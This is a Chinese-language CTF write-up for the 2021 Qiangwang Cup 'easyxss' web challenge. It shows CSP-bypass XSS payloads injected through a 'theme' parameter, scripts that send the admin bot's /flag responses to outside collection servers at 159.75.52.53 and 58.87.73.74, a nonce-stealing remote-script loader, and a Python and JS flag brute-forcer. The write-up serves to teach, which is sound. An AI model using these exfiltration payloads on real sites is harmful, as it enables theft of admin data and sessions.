4

强网杯2021 easyxss wp

 2 years ago
source link: https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20210615-qwb2021.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

强网杯2021 easyxss wp

这题的环境和官方态度一言难尽,见后话。

网站功能描述

一个写日志的网站,需要注册登录。有一个提交url的地址,提交过去之后拥有管理员权限的bot会去访问。 写好的日志能够搜索、还有一个渲染页面。 主要考点是CSP的绕过,并且黑名单了一些字符。

CSP限制

Content-Security-Policy: default-src 'self'; form-action 'self'; frame-ancestors 'self'; style-src 'self'; img-src 'self'; script-src 'nonce-e5DgJ35L8SEgJZIP7REN9w==' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/

可以看到还是比较严格的, script-src 基本上就是 nonce 和谷歌的几个没啥利用方法的path(https://www.gstatic.com/recaptcha/、https://www.google.com/recaptcha/api.js)

47.104.192.54:8888/about?theme=hachp1

由于nonce的存在,没办法直接插入 script ,所以不能用写日志的方式进行储存型XSS。发现渲染页面直接把参数 theme= 输出在本身带有nonce的script标签中,而且双引号没过滤,所以闭合一下,成功弹窗:

http://47.104.192.54:8888/about?theme=%22;});alert(%2211111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111%22);a=({//%22;

经测试,可以使用的字符:asd123/()., ; =-+?$:

过滤了src、get、body等关键词(环境打不开了,没有记下来)

用location可以向XSS平台传payload:

http://47.104.192.54:8888/about?theme=%22%3b%7d)%3bwindow.location.href%3d%22http%3a%2f%2f159.75.52.53%2fxss%2fmyxss%3fc%3d123%22%3ba%3d(%7b%2f%2f%22%3b

由于bot访问的是localhost,测试url:

http://localhost:8888/about?theme=%22%3b%7d)%3bwindow.location.href%3d%22http%3a%2f%2f159.75.52.53%2fxss%2fmyxss%3fc%3d123%22%3ba%3d(%7b%2f%2f%22%3b

这题出题人和主办方对环境的考虑有很大问题,这题本来就是一个可能大量交互的题目,居然还用公共靶机,我做这题的时候时间已经比较晚了,当时BOT已经被其他师傅D烂了,根本做不了。。。

以下为一些失败的payload,多数是由于黑名单限制没能成功,供参考:

document.body.appendChild(document.createElement("script")).src="//159.75.52.53/1.js"
http://47.104.192.54:8888/about?theme=%22;});document.body.appendChild(document.createElement("script")).src="//159.75.52.53/1.js";a=({//%22;
$.getScript`http://159.75.52.53/1.js`
http://47.104.192.54:8888/about?theme=%22;});function createXmlHttp() { if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest() } else { var MSXML = new Array("MSXML2.XMLHTTP.5.0", "MSXML2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"); for (var n = 0; n < MSXML.length; n++) { try { xmlHttp = new ActiveXObject(MSXML[n]); break } catch(e) {} } }}createXmlHttp();xmlHttp.onreadystatechange = function(){ if (xmlHttp.readyState == 4) { code=escape(xmlHttp.responseText); createXmlHttp(); window.location.href="http://159.75.52.53/xss/myxss/?a="+code; }};xmlHttp.open("GET", "/xsstest/1.txt", true);xmlHttp.send(null);;a=({//%22;
http://47.104.192.54:8888/about?theme=";});xmlHttp=new XMLHttpRequest();xmlHttp.onreadystatechange=function(){if(xmlHttp.readyState==4){code=escape(xmlHttp.responseText);window.location.href="http://159.75.52.53/xss/myxss/?a="+code;}};xmlHttp.open("GET","/xsstest/1.txt",true);xmlHttp.send(null);;a=({//";
var script=document.createElement("script");script.setAttribute("sr"+"c","http://159.75.52.53/1.js");document.head.appendChild(script);
http://47.104.192.54:8888/about?theme=%22;});var%09script=document.createElement(%22script%22);script.setAttribute(%22sr%22%2b%22c%22,%22http://159.75.52.53/1.js%22);document.head.appendChild(script);a=({//%22;

成功传输到XSS平台的payload

经过一番调之后,终于发现一个能打的payload:

http://47.104.192.54:8888/about?theme=%22;});$.post(%22/flag%22,function(response){location.href=%22http://159.75.52.53/xss/myxss/?a=%22%2bresponse;});a=({//%22;
http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f159.75.52.53%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b

以上payload虽然可用,但没有返回结果,因为 /flag 处还有一个flag猜解的操作,要验证payload的可用性,想在xss平台看到一些回应可以用以下payload先返回一下其他页面:

http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fhint%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f159.75.52.53%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b

/flag 路由下的flag猜解

hint页面给了/flag路由下的逻辑,只有flag的前几位猜对时才返回 /flag 的前几位,所以实际做题时需要一位位的猜解:

app.all("/flag", auth, async (req, res, next) => {
if (req.session.isadmin && typeof req.query.var === 'string') {
fs.readFile('/flag', 'utf8', (err, flag) => {
let flagArray = flag.split('');
let dataArray = req.query.var.split('');
let check = true;
for (let i = 0; i < dataArray.length && i < flagArray.length; i++) { //按位对比,输入多长的flag,对比输出多长
if (dataArray[i] !== flagArray[i]) {
check = false;
break
if (check) {
res.status(200).send(req.query.var);
} else {
res.status(500).send('Keyword Error!');
} else {
res.status(500).send('Sorry, you are not admin!');

最后需要用脚本来做,给出一个帮助理解的poc(用来猜flag第一位为 f ):

http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%3fvar%3df%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f159.75.52.53%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b

做题脚本(半自动化的,一次执行只猜一位):

import requests
url1 = 'http://47.104.155.242:8888'
url2 = 'http://47.104.192.54:8888'
url3 = 'http://47.104.210.56:8888'
url3='http://8.129.41.25:8888'
payload = 'http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f159.75.52.53%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b'
flag_h='flag'
words='}{0123456789abcdefghijklmnopqrstuvwxyz-_'
# payload = 'http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2f%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f159.75.52.53%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b'
# payload = 'http://localhost:8888/about?theme=%22%3b%7d)%3blocation.href%3d%22http%3a%2f%2f159.75.52.53%2fxss%2fmyxss%2f%3fa%3d123%22%3ba%3d(%7b%2f%2f%22%3b'
sess1 = requests.Session()
sess2 = requests.Session()
sess3 = requests.Session()
def regist(sess, url):
data = {
'username': '3', 'password': '3', 'submit': 'submit'
reg_url = url+'/register'
return sess.post(reg_url, data=data)
def login(sess, url):
data = {
'username': '3', 'password': '3', 'submit': 'submit'
login_url = url+'/login'
return sess.post(login_url, data=data)
def upload_url(sess, url,word):
flag=flag_h+word
payload='http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%3fvar%3d'+flag+'%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f159.75.52.53%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b'
data = {
'url': payload
up_url = url+'/report'
return sess.post(up_url, data=data)
while 1:
# if 'Report success!' not in upload_url(sess1, url1).text:
# print(regist(sess1, url1).text)
# print(login(sess1, url1).text)
# if 'Report success!' not in upload_url(sess2, url2).text:
# print(regist(sess2, url2).text)
# print(login(sess2, url2).text)
# print(regist(sess3, url3).text)
# print(login(sess3, url3).text)
for word in words:
print(flag_h+ word)
regist(sess3, url3)
login(sess3, url3)
upload_url(sess3, url3,word)

做题的恶劣环境下的解法

赛后看B乎,看到Zeddy大佬说恶劣环境可能也是做题考察的一部分,学到了(应该不是出题者本意,但也学习了),参考Nu1L的WP,可以引用远程的JS,并且在js中猜测flag(避免了猜一位的多次网络交互,但也需要一位一位的猜很多次):

直接读取了nonce,很有意思:

http://localhost:8888/about?
theme=";});var%09c=document.createElement("script");$(c).attr("nonce",$("scr
ipt")
[2].nonce);$(c).attr("s"%2b"rc","//58.87.73.74:8887/test.js");document.head.
append(c);console.log({"te":"",//

用js在受害者端一位一位的猜flag:

var cccc = "flag{6bb77f8b-6bc8-4b9e-b654-8a4da5ae920d"
function post(ch) {
cccc = cccc + ch;
document.location = "http://58.87.73.74:8887/" + cccc;
function test(ch) {
url = "http://localhost:8888/flag?var=" + cccc + ch;
// console.log(url);
fetch(url).then(response => {
if (response.status == 200) {
post(ch)
// for(var i=0; i<5; i++) {
var charset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a',
'b', 'c', 'd', 'e', 'f', '-', '}'
for (var j = 0; j < charset.length; j++) {
test(charset[j]);

其实应该是可以在bot端一口气猜完所有位的,只是现在环境关了不好调js了,感觉这样可能会更好一些。

虽然我很少喷人,但这次真的想喷一下,主办方的人说“半自动化非常花时间,在正常比赛中不可能做的出来”,在我的做题时间点看来,如果bot服务是流畅的(比如独立的靶机),完全能够半自动的做出来的,虽然肯定不及更加优化的解题方案,但这种正常的情况应该也是能够得分的。虽然从某些人的角度来说,就比赛上确实不公,但是bot频频挂掉确实不应该是所谓的“正常情况”。特别是最后一波“本地验证”的操作,令人哭笑不得。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK